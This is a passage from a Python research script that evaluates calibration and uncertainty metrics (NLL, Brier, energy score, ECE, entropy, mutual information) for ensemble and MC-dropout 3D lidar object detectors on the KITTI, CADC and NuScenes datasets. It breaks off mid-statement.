MIN_CLUSTER_SIZE = 1\n model_name = 'baseline'\nelif ENSEMBLE_TYPE == 0: # mc-dropout\n print('Ensemble type: mc-dropout')\n MIN_CLUSTER_SIZE = 4\n model_name = 'MC dropout'\nelif ENSEMBLE_TYPE == 1: # ensemble\n print('Ensemble type: ensemble')\n MIN_CLUSTER_SIZE = 4\n model_name = 'ensemble'\nelif ENSEMBLE_TYPE == 2: # mimo\n print('Ensemble type: mimo-ID')\n MIN_CLUSTER_SIZE = 2\n model_name = 'mimo-ID'\nelif ENSEMBLE_TYPE == 3: # mimo\n print('Ensemble type: mimo-noID')\n MIN_CLUSTER_SIZE = 2\n model_name = 'mimo-noID'\nelif ENSEMBLE_TYPE == 4: # mimo\n print('Ensemble type: mimo-BEV')\n MIN_CLUSTER_SIZE = 2\n model_name = 'mimo-BEV'\nelse:\n raise NotImplementedError\n\nif VOTING_STATEGY == 0: # Affirmative: all objects kept\n MIN_CLUSTER_SIZE = 1\nelif VOTING_STATEGY == 1: # Consensus: Majority must agree\n MIN_CLUSTER_SIZE = int(MIN_CLUSTER_SIZE/2 + 1)\nelif VOTING_STATEGY == 2: # Unanimous: All must agree\n MIN_CLUSTER_SIZE = MIN_CLUSTER_SIZE\nelse:\n raise NotImplementedError\n\nprint('Minimum cluster size of', MIN_CLUSTER_SIZE)\n\nyaml_path = os.path.join(logdir + '/tmp_output', PKL_FILE + '_step_three.yaml')\n# Read YAML file\nwith open(yaml_path, 'r') as stream:\n SCORE_THRESHOLDS = yaml.safe_load(stream)\n\nyaml_path = os.path.join(logdir + '/tmp_output', PKL_FILE + '_step_two.yaml')\n# Read YAML file\nwith open(yaml_path, 'r') as stream:\n CALIBRATION_VALS = yaml.safe_load(stream)\n\ndef pcdet_get_labels(data_dict):\n if isinstance(data_dict, list):\n data_dict = data_dict[0]\n for label_key in ['labels', 'gt_labels', 'pred_labels']:\n if label_key in data_dict:\n return data_dict[label_key]\n if 'annos' in data_dict:\n data_dict = data_dict['annos']\n for label_key in ['name', 'gt_names']:\n if label_key in data_dict:\n if selected_dataset == 'KITTI':\n classes = dict(\n Car=1, Pedestrian=2, Cyclist=3,\n Truck=-1, Misc=-1, Van=-1, Tram=-1, Person_sitting=-1,\n DontCare=-1\n )\n elif selected_dataset == 'CADC':\n classes = dict(\n Car=1, Pedestrian=2, Pickup_Truck=3\n )\n elif selected_dataset == 'NuScenes':\n classes = dict(\n car=1, truck=2, construction_vehicle=3, bus=4, trailer=5, \\\n barrier=6, motorcycle=7, bicycle=8, pedestrian=9, traffic_cone=10, \\\n ignore=-1\n )\n labels = []\n for name in data_dict[label_key]:\n if name == 'DontCare':\n continue\n labels.append(classes[name])\n return labels\n raise ValueError()\n\ndef pcdet_get_scores(data_dict):\n if isinstance(data_dict, list):\n data_dict = data_dict[0]\n if 'score' in data_dict:\n return data_dict['score']\n\ndef pcdet_get_boxes(data_dict, gt_mode=True):\n if isinstance(data_dict, list):\n data_dict = data_dict[0]\n if 'annos' in data_dict:\n data_dict = data_dict['annos']\n for box_key in ['gt_boxes', 'gt_boxes_lidar', 'boxes_lidar', 'box3d_lidar']:\n if box_key in data_dict:\n if selected_dataset == 'NuScenes':\n return data_dict[box_key][...,:7]\n else:\n return data_dict[box_key]\n return ValueError()\n\ndef pcdet_get_occlusion(data_dict):\n if isinstance(data_dict, list):\n data_dict = data_dict[0]\n if 'annos' in data_dict:\n data_dict = data_dict['annos']\n if 'occluded' in data_dict:\n return data_dict['occluded']\n return ValueError()\n\ndef gt_processor(data_dict):\n return (\n pcdet_get_labels(data_dict),\n pcdet_get_boxes(data_dict)\n )\n\ndef pred_processor(data_dict):\n return (\n pcdet_get_labels(data_dict),\n pcdet_get_scores(data_dict),\n pcdet_get_boxes(data_dict, gt_mode=False)\n )\n\ndef attach_data(sample_idx, gt_dict, pred_dict, gt_list, pred_list):\n for i in range(len(gt_list)):\n gt_list.data[i] = dict(\n gt_boxes=pcdet_get_boxes(gt_dict)[i], occluded=pcdet_get_occlusion(gt_dict)[i])\n # gt_list.data[i] = dict(gt_boxes=pcdet_get_boxes(gt_dict)[i])\n if 'score_all' not in pred_dict: # original model\n for i in range(len(pred_list)):\n pred_list.data[i] = dict(\n boxes_lidar=pred_dict['boxes_lidar'][i],\n num_pts_in_pred=pred_dict['num_pts_in_pred'][i]\n )\n else:\n for i in range(len(pred_list)):\n pred_list.data[i] = dict(\n score_all=pred_dict['score_all'][i],\n boxes_lidar=pred_dict['boxes_lidar'][i],\n pred_vars=pred_dict['pred_vars'][i],\n shannon_entropy=pred_dict['shannon_entropy'][i],\n aleatoric_entropy=pred_dict['aleatoric_entropy'][i],\n mutual_info=pred_dict['mutual_info'][i],\n epistemic_total_var=pred_dict['epistemic_total_var'][i],\n aleatoric_total_var=pred_dict['aleatoric_total_var'][i],\n num_pts_in_pred=pred_dict['num_pts_in_pred'][i],\n dist=np.linalg.norm(pred_dict['boxes_lidar'][i][:2])\n )\n\ndef get_uncertainty_by_thres(pred_list_tp_ml_c):\n loc_score_thresholds = np.arange(0.0, 1.1, 0.1).round(2) # [0, 0.1, ..., 0.8, 1.0]\n loc_scores = np.array([obj.loc_score for obj in pred_list_tp_ml_c])\n tmp_se = np.array([obj.data['shannon_entropy'] for obj in pred_list_tp_ml_c])\n tmp_ae = np.array([obj.data['aleatoric_entropy'] for obj in pred_list_tp_ml_c])\n tmp_mi = np.array([obj.data['mutual_info'] for obj in pred_list_tp_ml_c])\n tmp_etv = np.array([obj.data['epistemic_total_var'] for obj in pred_list_tp_ml_c])\n tmp_atv = np.array([obj.data['aleatoric_total_var'] for obj in pred_list_tp_ml_c])\n csv_um_rows = [[],[],[],[],[],]\n cv_num_row = []\n for i in range(len(loc_score_thresholds) - 1):\n valid_loc_scores = (loc_scores >= loc_score_thresholds[i]) & (loc_scores < loc_score_thresholds[i+1])\n csv_um_rows[0].append(np.mean(tmp_se[valid_loc_scores]))\n csv_um_rows[1].append(np.mean(tmp_ae[valid_loc_scores]))\n csv_um_rows[2].append(np.mean(tmp_mi[valid_loc_scores]))\n csv_um_rows[3].append(np.mean(tmp_etv[valid_loc_scores]))\n csv_um_rows[4].append(np.mean(tmp_atv[valid_loc_scores]))\n cv_num_row.append(len(tmp_se[valid_loc_scores]))\n\n print('OUTPUT CAR')\n print(csv_um_rows)\n print(cv_num_row)\n exit()\n\ndef main():\n print(\"Load dictionaries...\")\n gt_dicts, pred_dicts = load_dicts(gts_path, preds_path)\n\n print(\"Using SECOND half of val set as the eval set.\")\n half_point = int(len(gt_dicts)/2)\n gt_dicts = gt_dicts[half_point:]\n pred_dicts = pred_dicts[half_point:]\n\n # KITTI data loader has the issue where they don't deep copy the variable\n # When converting from lidar to camera frame so the center of the cuboid\n # is at the bottom instead of the center of the bounding box\n if selected_dataset == dataset_types[0]:\n print('Fixing KITTI Z values by adding H/2')\n if isinstance(pred_dicts[0], dict):\n for i in range(len(pred_dicts)):\n for j in range(len(pred_dicts[i]['boxes_lidar'])):\n pred_dicts[i]['boxes_lidar'][j][2] += pred_dicts[i]['boxes_lidar'][j][5] / 2\n else:\n for i in range(len(pred_dicts)):\n for fwd_pass in range(len(pred_dicts[i])):\n for j in range(len(pred_dicts[i][fwd_pass]['boxes_lidar'])):\n pred_dicts[i][fwd_pass]['boxes_lidar'][j][2] += \\\n pred_dicts[i][fwd_pass]['boxes_lidar'][j][5] / 2\n\n # Threshold (list or dict) maps a label to a matching threshold\n if selected_dataset == dataset_types[0]:\n kitti_filter_list = build_kitti_filters(gts_path)\n filter_list = [\n kitti_filter_list[1], # Car moderate\n kitti_filter_list[4], # Ped moderate\n kitti_filter_list[7] # Cyc moderate\n ]\n\n class_names = ['Car', 'Pedestrian', 'Cyclist']\n NUM_CLASSES = 3\n eval_criterion = 'iou_3d'\n num_recall_positions = 40\n elif selected_dataset == dataset_types[1]:\n cadc_filter_list = build_cadc_filters(gts_path)\n filter_list = [\n cadc_filter_list[1], # Car moderate\n cadc_filter_list[4], # Ped moderate\n cadc_filter_list[7] # Pickup_Truck moderate\n ]\n\n class_names = ['Car', 'Pedestrian', 'Pickup_Truck']\n NUM_CLASSES = 3\n eval_criterion = 'iou_3d'\n num_recall_positions = 40\n elif selected_dataset == dataset_types[2]:\n nusc_threshold = 0.75\n thresholds = {\n -1: -1, # Just to not output error\n 0: -1, # Just to not output error\n 1: nusc_threshold, # Car\n 2: nusc_threshold, # Truck\n 3: nusc_threshold, # Construction Vehicle\n 4: nusc_threshold, # Bus\n 5: nusc_threshold, # Trailer\n 6: nusc_threshold, # Barrier\n 7: nusc_threshold, # Motorcycle\n 8: nusc_threshold, # Bicycle\n 9: nusc_threshold, # Pedestrian\n 10: nusc_threshold # Traffic Cone\n }\n \n # Since there are no difficulty levels we can directly get the filter\n filter_list = build_nuscenes_filters(gts_path)\n\n class_names = ['Car', 'Truck', 'Construction Vehicle', 'Bus', 'Trailer', \\\n 'Barrier', 'Motorcycle', 'Bicycle', 'Pedestrian', 'Traffic Cone']\n NUM_CLASSES = 10\n eval_criterion = 'euclidean_3d'\n num_recall_positions = 100\n\n # Dictionary with key as the class and a list for each threshold\n gt_output = {}\n pred_output = {}\n\n iou_thresholds = np.arange(0.5, 1.0, 0.05).round(2)\n\n for filter_idx in range(len(filter_list)):\n print(\"Performing evaluation for class \" + filter_list[filter_idx].class_name + \\\n \" and difficulty \" + str(filter_list[filter_idx].difficulty))\n\n # Init lists for this class\n gt_output[class_names[filter_idx]] = []\n pred_output[class_names[filter_idx]] = []\n\n for iou_threshold_idx in range(len(iou_thresholds)):\n # Evaluate over validation set\n print(\"Loop through and evaluate all samples at iou:\", iou_thresholds[iou_threshold_idx])\n\n print(\"Clustering predictions by frame...\")\n t_vals = (CALIBRATION_VALS[class_names[filter_idx]]['cls'][iou_threshold_idx], \\\n CALIBRATION_VALS[class_names[filter_idx]]['reg'][iou_threshold_idx])\n clustered_pred_dicts = cluster_preds(pred_dicts, selected_dataset, 'temp_scaled', MIN_CLUSTER_SIZE, t_vals)\n\n curr_score_threshold = SCORE_THRESHOLDS[class_names[filter_idx]][iou_threshold_idx]\n print(\"Filtering predictions with score threhold:\", curr_score_threshold)\n filtered_pred_dicts = filter_pred_dicts(clustered_pred_dicts, curr_score_threshold)\n\n # Add predictions to the points\n add_num_pts(selected_dataset, dataset_path, filtered_pred_dicts)\n\n gt_list, pred_list = DetectionEval.evaluate_all_samples(\n gt_dicts, filtered_pred_dicts,\n thresholds=create_thresholds(iou_thresholds[iou_threshold_idx], selected_dataset),\n criterion=eval_criterion,\n filta=filter_list[filter_idx],\n gt_processor=gt_processor,\n pred_processor=pred_processor,\n pbar=tqdm(total=len(gt_dicts)),\n callback=attach_data\n )\n\n gt_output[class_names[filter_idx]].append(gt_list)\n pred_output[class_names[filter_idx]].append(pred_list)\n\n # tmp for testing\n # tp = pred_list.valid & pred_list.localized & pred_list.classified & ~pred_list.duplicated\n # ml_c = pred_list.valid & (~pred_list.localized) & (pred_list.classified)\n # get_uncertainty_by_thres(pred_list[tp | ml_c])\n # exit()\n\n # Data to store for each class\n nll_clf_list = []\n brier_list = []\n nll_reg_list = []\n energy_list = []\n mce = []\n reg_ce = []\n reg_maxce = []\n se_list = []\n ae_list = []\n mi_list = []\n etv_list = []\n atv_list = []\n\n individual_metrics = {\n 'SE': [], 'AE': [], 'MI': [], 'ETV': [], 'ATV': []\n }\n\n uncertainty_metrics = {\n 'tp_car': copy.deepcopy(individual_metrics),\n 'tp_ped_cyc': copy.deepcopy(individual_metrics)\n }\n\n tp_car_uncertainty = {\n 'SE': [], 'AE': [], 'MI': [], 'ETV': [], 'ATV': [],\n 'dist': [], # Display Aleatoric Uncertainty by using distances\n 'occluded': [] # Display Epistemic Uncertainty by using occlusion\n }\n\n # Clear memory, mostly needed for large datasets like NuScenes\n del gt_dicts\n del pred_dicts\n gc.collect()\n\n for idx in range(len(class_names)):\n # Store results for this class and iou threshold\n tmp_nll_clf_list = []\n tmp_brier_list = []\n tmp_nll_reg_list = []\n tmp_energy_list = []\n tmp_mce = []\n tmp_reg_ce = []\n tmp_reg_maxce = []\n tmp_se_list = []\n tmp_ae_list = []\n tmp_mi_list = []\n tmp_etv_list = []\n tmp_atv_list = []\n\n for iou_threshold_idx in range(len(iou_thresholds)):\n print(\"Evaluating Uncertainty for \" + class_names[idx] + \" at iou \" + str(iou_thresholds[iou_threshold_idx]))\n # Get current gt and pred list\n gt_list = gt_output[class_names[idx]][iou_threshold_idx]\n pred_list = pred_output[class_names[idx]][iou_threshold_idx]\n\n # A prediction box is either a TP, location error, duplicate or FP\n # TP: valid, localized and classified\n tp = pred_list.valid & pred_list.localized & pred_list.classified & ~pred_list.duplicated\n # Duplicate: is a TP but there is a better matched TP\n dup = pred_list.valid & pred_list.localized & pred_list.classified & pred_list.duplicated\n # Location Errors are a combination of:\n # Type 1: Correctly localized, misclassified, with valid GT class\n l_mc = pred_list.valid & (pred_list.localized) & (~pred_list.classified) & (pred_list.gt_labels > 0) & (pred_list.gt_labels <= NUM_CLASSES)\n # Type 2: Mislocalized, correctly classified\n ml_c = pred_list.valid & (~pred_list.localized) & (pred_list.classified)\n # FP Type 2: Mislocalized, misclassified, with valid GT class\n ml_mc = pred_list.valid & (~pred_list.localized) & (~pred_list.classified) & \\\n (~pred_list.bg) & (pred_list.gt_labels > 0) & (pred_list.gt_labels <= NUM_CLASSES)\n loc_err = l_mc | ml_c | ml_mc\n # FP: is valid and either not localized or not classified correctly\n # This is a broader definition of FP that we are not using\n # fp = pred_list.valid & ~(pred_list.localized & pred_list.classified)\n # FP: Completely missed\n fp = pred_list.valid & (pred_list.bg | (pred_list.gt_labels <= 0) )\n\n fn_bg = (~gt_list.ignored) & (gt_list.bg)\n\n # Init Scoring Rules\n nll_clf_obj = NLLCLF()\n nll_reg_obj = NLLREG()\n binary_brier_obj = BINARYBRIERSCORE()\n brier_obj = BRIERSCORE()\n dmm_obj = DMM()\n energy_obj = ENERGYSCORE()\n\n # Init Uncertainty Metrics\n se_obj = ShannonEntropy()\n ae_obj = AleatoricEntropy()\n mi_obj = MutualInfo()\n etv_obj = EpistemicTotalVar()\n atv_obj = AleatoricTotalVar()\n\n # Our own ECE Implementation\n num_bins = 10\n bins = np.arange(0, 1.0+(1.0/num_bins), 1.0/num_bins)\n conf_mat = [{'TP': 0, 'FP': 0, 'confidence_list': []} for i in range(len(bins))]\n\n # Calibration library lists\n preds_score_all = []\n gt_score_all = []\n\n print('Number of predictions', len(pred_list))\n print('Number of TPs', len(pred_list[tp]))\n print('Number of Duplicates', len(pred_list[dup]))\n print('Number of Localization Errors', len(pred_list[loc_err]))\n print(' LE Type 1: Number of Correctly localized, misclassified', len(pred_list[l_mc]))\n print(' LE Type 2: Number of Mislocalized, correctly classified', len(pred_list[ml_c]))\n print(' LE Type 3: Number of Mislocalized, misclassified', len(pred_list[ml_mc]))\n print('Number of FPs', len(pred_list[fp]))\n\n stats_result = DetectionEval.compute_statistics(gt_list=gt_list, \\\n pred_list=pred_list, n_positions=num_recall_positions)\n print('Number of FNs', stats_result['fn'])\n\n gt_tp = (~gt_list.ignored) & (gt_list.localized) & (gt_list.classified)\n # Correctly localized, misclassified\n gt_l_mc = (~gt_list.ignored) & (gt_list.localized) & (~gt_list.classified)\n # Mislocalized, correctly classified\n gt_ml_c = (~gt_list.ignored) & (~gt_list.localized) & (gt_list.classified)\n # Mislocalized, misclassified\n gt_ml_mc = (~gt_list.ignored) & (~gt_list.localized) & (~gt_list.classified) & (~gt_list.bg)\n # Completely missed\n gt_bg = (~gt_list.ignored) & (gt_list.bg)\n print('Number of GT TPs', len(gt_list[gt_tp]))\n print('Number of GT Loc errors', len(gt_list[gt_l_mc | gt_ml_c | gt_ml_mc]))\n print('Number of FN_BGs', len(gt_list[fn_bg]))\n\n curr_ap = (100 * stats_result['ap'])\n print('AP@40', curr_ap.round(2))\n\n # Scoring Rules\n\n if ENSEMBLE_TYPE == -1: # original model\n # TP\n nll_clf_obj.add_tp(pred_list[tp])\n binary_brier_obj.add_tp(pred_list[tp])\n\n # Loc Errors\n # nll_clf_obj.add_loc_err(pred_list[loc_err])\n # binary_brier_obj.add_loc_err(pred_list[loc_err])\n\n # FP\n nll_clf_obj.add_fp(pred_list[fp])\n binary_brier_obj.add_fp(pred_list[fp])\n else:\n # TP\n nll_clf_obj.add_tp(pred_list[tp])\n binary_brier_obj.add_tp(pred_list[tp])\n brier_obj.add_tp(pred_list[tp])\n dmm_obj.add_tp(gt_list, pred_list[tp])\n nll_reg_obj.add_tp(gt_list, pred_list[tp])\n energy_obj.add_tp(gt_list, pred_list[tp])\n se_obj.add_tp(pred_list[tp])\n ae_obj.add_tp(pred_list[tp])\n mi_obj.add_tp(pred_list[tp])\n etv_obj.add_tp(pred_list[tp])\n atv_obj.add_tp(pred_list[tp])\n\n # Duplicates\n nll_clf_obj.add_dup(pred_list[dup])\n binary_brier_obj.add_dup(pred_list[dup])\n brier_obj.add_dup(pred_list[dup])\n dmm_obj.add_dup(gt_list, pred_list[dup])\n nll_reg_obj.add_dup(gt_list, pred_list[dup])\n energy_obj.add_dup(gt_list, pred_list[dup])\n se_obj.add_dup(pred_list[dup])\n ae_obj.add_dup(pred_list[dup])\n mi_obj.add_dup(pred_list[dup])\n etv_obj.add_dup(pred_list[dup])\n atv_obj.add_dup(pred_list[dup])\n\n # Loc Errors\n nll_clf_obj.add_loc_err(pred_list[ml_c])\n binary_brier_obj.add_loc_err(pred_list[ml_c])\n brier_obj.add_loc_err(pred_list[ml_c])\n dmm_obj.add_loc_err(gt_list, pred_list[ml_c])\n nll_reg_obj.add_loc_err(gt_list, pred_list[ml_c])\n energy_obj.add_loc_err(gt_list, pred_list[ml_c])\n se_obj.add_loc_err(pred_list[ml_c])\n ae_obj.add_loc_err(pred_list[ml_c])\n mi_obj.add_loc_err(pred_list[ml_c])\n etv_obj.add_loc_err(pred_list[ml_c])\n atv_obj.add_loc_err(pred_list[ml_c])\n\n # FP \n nll_clf_obj.add_bg_tp(pred_list[fp])\n binary_brier_obj.add_bg_tp(pred_list[fp])\n brier_obj.add_fp(pred_list[fp])\n energy_obj.add_fp(pred_list[fp])\n se_obj.add_fp(pred_list[fp])\n ae_obj.add_fp(pred_list[fp])\n mi_obj.add_fp(pred_list[fp])\n etv_obj.add_fp(pred_list[fp])\n atv_obj.add_fp(pred_list[fp])\n\n # FN\n brier_obj.add_fn(gt_list[fn_bg])\n\n # Only show this for sigmoid models\n if ENSEMBLE_TYPE == -1:\n print('Binary Brier Score Classification mean', binary_brier_obj.mean().round(4))\n print('Binary Brier Score Classification mean TP', binary_brier_obj.mean_tp().round(4))\n print('Binary Brier Score Classification mean FP', binary_brier_obj.mean_fp().round(4))\n\n tmp_nll_clf_list.append([nll_clf_obj.mean_tp().round(4), \\\n nll_clf_obj.mean_loc_err().round(4), \\\n nll_clf_obj.mean_fp().round(4)])\n # print('NLL Classification mean var', nll_clf_obj.mean().round(4), nll_clf_obj.var().round(4))\n # print('NLL Classification mean: TP DUP FP_ML FP', nll_clf_obj.mean_tp().round(4), \\\n # nll_clf_obj.mean_dup().round(4), nll_clf_obj.mean_loc_err().round(4), nll_clf_obj.mean_fp().round(4))\n # print('NLL Classification var: TP FP_ML FP', np.var(nll_clf_obj.tp_value_list).round(4), \\\n # np.var(nll_clf_obj.loc_err_value_list).round(4), np.var(nll_clf_obj.fp_value_list).round(4))\n\n # tp_scores = []\n # tp_loc_scores = []\n # tp_se = []\n # tp_ae = []\n # for obj in pred_list[tp]:\n # tp_scores.append(obj.pred_score)\n # tp_loc_scores.append(obj.loc_score)\n # tp_se.append(obj.data['shannon_entropy'])\n # tp_ae.append(obj.data['aleatoric_entropy'])\n # print('TP: score', np.mean(tp_scores).round(4))\n # print('TP: loc score', np.mean(tp_loc_scores).round(4))\n # print('TP: SE AE', np.mean(tp_se).round(4), np.mean(tp_ae).round(4))\n\n loc_err_scores = [obj.loc_score for obj in pred_list[loc_err]]\n print('LOC ERR: loc score', np.mean(loc_err_scores).round(4), np.var(loc_err_scores).round(4))\n\n plt.hist(loc_err_scores, bins=50, cumulative=True)\n plt.title('Localization error localization scores')\n plt.savefig('images/loc_err_loc_scores_cum_hist.png')\n plt.close()\n\n if ENSEMBLE_TYPE != -1:\n tmp_brier_list.append([brier_obj.mean_tp().round(4), \\\n brier_obj.mean_loc_err().round(4), brier_obj.mean_fp().round(4)])\n tmp_nll_reg_list.append([nll_reg_obj.mean_tp().round(4), nll_reg_obj.mean_loc_err().round(4), \\\n nll_reg_obj.mean_fp().round(4)])\n tmp_energy_list.append([energy_obj.mean_tp().round(4), energy_obj.mean_loc_err().round(4), \\\n energy_obj.mean_fp().round(4)])\n tmp_se_list.append([se_obj.mean_tp().round(4), se_obj.mean_loc_err().round(4), \\\n se_obj.mean_fp().round(4)])\n tmp_ae_list.append([ae_obj.mean_tp().round(4), ae_obj.mean_loc_err().round(4), \\\n ae_obj.mean_fp().round(4)])\n tmp_mi_list.append([mi_obj.mean_tp().round(4), mi_obj.mean_loc_err().round(4), \\\n mi_obj.mean_fp().round(4)])\n tmp_etv_list.append([etv_obj.mean_tp().round(4), etv_obj.mean_loc_err().round(4), \\\n etv_obj.mean_fp().round(4)])\n tmp_atv_list.append([atv_obj.mean_tp().round(4), atv_obj.mean_loc_err().round(4), \\\n atv_obj.mean_fp().round(4)])\n\n # print('Brier Score Classification mean var', brier_obj.mean().round(4), brier_obj.var().round(4))\n # print('Brier Score Classification mean: TP DUP FP_ML FP FN', brier_obj.mean_tp().round(4), \\\n # brier_obj.mean_dup().round(4), brier_obj.mean_loc_err().round(4), brier_obj.mean_fp().round(4), brier_obj.mean_fn().round(4))\n # print('Brier Score Classification var: TP DUP FP_ML FP FN', np.var(brier_obj.tp_value_list).round(4), \\\n # np.var(brier_obj.dup_value_list).round(4), np.var(brier_obj.loc_err_value_list).round(4), np.var(brier_obj.fp_value_list).round(4), np.var(brier_obj.mean_fn()).round(4))\n\n # print('NLL Regression mean', nll_reg_obj.mean().round(4))\n # print('NLL Regression mean: TP DUP FP_ML', nll_reg_obj.mean_tp().round(4), nll_reg_obj.mean_dup().round(4), \\\n # nll_reg_obj.mean_loc_err().round(4))\n # print('NLL Regression var: TP DUP FP_ML', np.var(nll_reg_obj.tp_value_list).round(4), np.var(nll_reg_obj.dup_value_list).round(4), \\\n # np.var(nll_reg_obj.loc_err_value_list).round(4))\n\n # print('DMM Regression mean', dmm_obj.mean().round(4))\n # print('DMM Regression mean: TP DUP FP_ML', dmm_obj.mean_tp().round(4), dmm_obj.mean_dup().round(4), \\\n # dmm_obj.mean_loc_err().round(4))\n # print('DMM Regression var: TP DUP FP_ML', np.var(dmm_obj.tp_value_list).round(4), np.var(dmm_obj.mean_dup()).round(4), \\\n # np.var(dmm_obj.loc_err_value_list).round(4))\n\n # print('Energy Regression mean', energy_obj.mean().round(4))\n # print('Energy Regression mean: TP DUP FP_ML', energy_obj.mean_tp().round(4), energy_obj.mean_dup().round(4), \\\n # energy_obj.mean_loc_err().round(4), energy_obj.mean_fp().round(4))\n # print('Energy Regression var: TP DUP FP_ML', np.var(energy_obj.tp_value_list).round(4), np.var(energy_obj.dup_value_list).round(4), \\\n # np.var(energy_obj.loc_err_value_list).round(4), np.var(energy_obj.fp_value_list).round(4))\n\n # Classification Calibration Error\n # TP and duplicates are grouped\n # FP and mislocalized but correctly classified are grouped\n if ENSEMBLE_TYPE == -1: # original model\n # TP and duplicates\n for obj in pred_list[tp | dup]:\n bin_num = np.ceil(obj.pred_score * num_bins).astype(int)\n conf_mat[bin_num]['TP'] += 1\n conf_mat[bin_num]['confidence_list'].append(obj.pred_score)\n # Calibration library\n preds_score_all.append(obj.pred_score)\n # Add GT as 1\n gt_score_all.append(1)\n\n # FP and localization errors\n for obj in pred_list[fp | loc_err]:\n bin_num = np.ceil(obj.pred_score * num_bins).astype(int)\n conf_mat[bin_num]['FP'] += 1\n conf_mat[bin_num]['confidence_list'].append(obj.pred_score)\n # Calibration library\n preds_score_all.append(obj.pred_score)\n # Add GT as 0\n gt_score_all.append(0)\n else:\n # TP and duplicates\n for obj in pred_list[tp | dup]:\n bin_num = np.ceil(obj.pred_score * num_bins).astype(int)\n conf_mat[bin_num]['TP'] += 1\n conf_mat[bin_num]['confidence_list'].append(obj.pred_score)\n # Calibration library\n preds_score_all.append(obj.data['score_all'])\n # add class to GT\n gt_label = obj.gt_label\n gt_score_all.append(int(gt_label - 1))\n\n # FP and localization errors\n for obj in pred_list[fp | loc_err]:\n bin_num = np.ceil(obj.pred_score * num_bins).astype(int)\n conf_mat[bin_num]['FP'] += 1\n conf_mat[bin_num]['confidence_list'].append(obj.pred_score)\n # Calibration library\n preds_score_all.append(obj.data['score_all'])\n # Append BG class\n gt_score_all.append(NUM_CLASSES)\n\n accuracy, confidence, ece, max_ce, weight_per_bin, key = calculate_ece(conf_mat, num_bins, class_names[idx])\n # print(\"Calculated ECE\", ece)\n # print(\"Calculated MaxCE\", max_ce)\n # print(\"Calculated Accuracy bins\", accuracy)\n # print(\"Calculated conf_mat\", conf_mat)\n\n plot_reliability_clf(key, accuracy, confidence, ece, max_ce, weight_per_bin, save_path='calibration_images/ECE_CLF_'+key+'.png')\n\n # plot_conf_pts(pred_list[tp | dup], pred_list[fp], model_name, class_names[idx])\n\n # # ECE and ECE stable binning (seems the same)\n # cls_expected_calibration_error = cal.get_ece(\n # preds_score_all, gt_score_all)\n # print(\"Classification Expected Calibration Error\", cls_expected_calibration_error.round(4))\n # cls_expected_calibration_error = cal.get_top_calibration_error(\n # preds_score_all, gt_score_all, p=1)\n # print(\"Classification Expected Calibration Error 'stable binning'\", cls_expected_calibration_error.round(4))\n # Marginal CE\n try:\n cls_marginal_calibration_error = cal.get_calibration_error(\n preds_score_all, gt_score_all)\n tmp_mce.append(cls_marginal_calibration_error.round(4))\n except:\n print('ERROR: in classification error library')\n tmp_mce.append(np.nan)\n\n # print(\"Classification Marginal Calibration Error\", cls_marginal_calibration_error.round(4))\n\n if ENSEMBLE_TYPE != -1:\n # Group TP, Duplicates and localization errors together\n reg_maximum_calibration_error, reg_calibration_error, acc_list = \\\n calculate_ece_reg(gt_list, pred_list[tp | dup | loc_err])\n tmp_reg_ce.append(reg_calibration_error.round(4))\n tmp_reg_maxce.append(reg_maximum_calibration_error.round(4))\n # print(\"Regression Calibration Error\", reg_calibration_error.round(4))\n # print(\"Regression Maximum Calibration Error\", reg_maximum_calibration_error.round(4))\n plot_reliability_reg(key, acc_list, reg_calibration_error, \\\n save_path='calibration_images/ECE_REG_'+key+'.png')\n\n # Uncertainty metrics (per class)\n MIN_POINTS = 50\n tp_pred_list = pred_list[tp]\n pt_filter = np.array([obj.data['num_pts_in_pred'] for obj in tp_pred_list]) > MIN_POINTS\n tmp_se = np.array([obj.data['shannon_entropy'] for obj in tp_pred_list[pt_filter]])\n tmp_ae = np.array([obj.data['aleatoric_entropy'] for obj in tp_pred_list[pt_filter]])\n tmp_mi = np.array([obj.data['mutual_info'] for obj in tp_pred_list[pt_filter]])\n tmp_etv = np.array([obj.data['epistemic_total_var'] for obj in tp_pred_list[pt_filter]])\n tmp_atv = np.array([obj.data['aleatoric_total_var'] for obj in tp_pred_list[pt_filter]])\n dist_list = np.array([obj.data['dist'] for obj in tp_pred_list[pt_filter]])\n occ_list = np.array([gt_list[int(obj.matched_idx)].data['occluded'] for obj in tp_pred_list[pt_filter]])\n if idx == 0:\n tp_type = 'tp_car'\n\n tmp_dict = {\n 'SE': tmp_se,\n 'AE': tmp_ae,\n 'MI': tmp_mi,\n 'ETV': tmp_etv,\n 'ATV': tmp_atv\n }\n uncertainty_text = ['SE', 'AE', 'MI', 'ETV', 'ATV']\n for um in uncertainty_text:\n dist_lvl_1 = 10\n dist_lvl_2 = 20\n dist_lvl_3 = 30\n dist_close = tmp_dict[um][(dist_list <= dist_lvl_1) & (occ_list == 0)]\n dist_med = tmp_dict[um][(dist_list > dist_lvl_1) & (dist_list <= dist_lvl_2) & (occ_list == 0)]\n dist_far = tmp_dict[um][(dist_list > dist_lvl_2) & (dist_list <= dist_lvl_3) & (occ_list == 0)]\n occ_low = tmp_dict[um][(occ_list == 0) & (dist_list <= dist_lvl_1)]\n occ_med = tmp_dict[um][(occ_list == 1) & (dist_list <= dist_lvl_1)]\n occ_high = tmp_dict[um][(occ_list == 2) & (dist_list <= dist_lvl_1)]\n print(\"Distance amounts\", len(dist_close), len(dist_med), len(dist_far))\n print(\"occlusion amounts\", len(occ_low), len(occ_med), len(occ_high))\n tp_car_uncertainty[um].append([np.nanmean(dist_close).round(4), np.nanmean(dist_med).round(4), np.nanmean(dist_far).round(4), \\\n np.nanmean(occ_low).round(4), np.nanmean(occ_med).round(4), np.nanmean(occ_high).round(4)])\n\n elif idx == 1 or idx == 2:\n tp_type = 'tp_ped_cyc'\n uncertainty_metrics[tp_type]['SE'].append(np.nanmean(tmp_se))\n uncertainty_metrics[tp_type]['AE'].append(np.nanmean(tmp_ae))\n uncertainty_metrics[tp_type]['MI'].append(np.nanmean(tmp_mi))\n uncertainty_metrics[tp_type]['ETV'].append(np.nanmean(tmp_etv))\n uncertainty_metrics[tp_type]['ATV'].append(np.nanmean(tmp_atv))\n # print(uncertainty_metrics[tp_type])\n # print(tp_pred_list[pt_filter])\n # print(tp_pred_list[pt_filter].data)\n # exit()\n\n # ignored_pred_list = pred_list[ignored]\n # pt_filter = np.array([obj.data['num_pts_in_pred'] for obj in ignored_pred_list]) > MIN_POINTS\n # fp_type = 'fp_ignore_minus_van'\n # pt_filter = np.array([obj.data['num_pts_in_pred'] for obj in ignored_pred_list]) > MIN_POINTS\n # se_list = 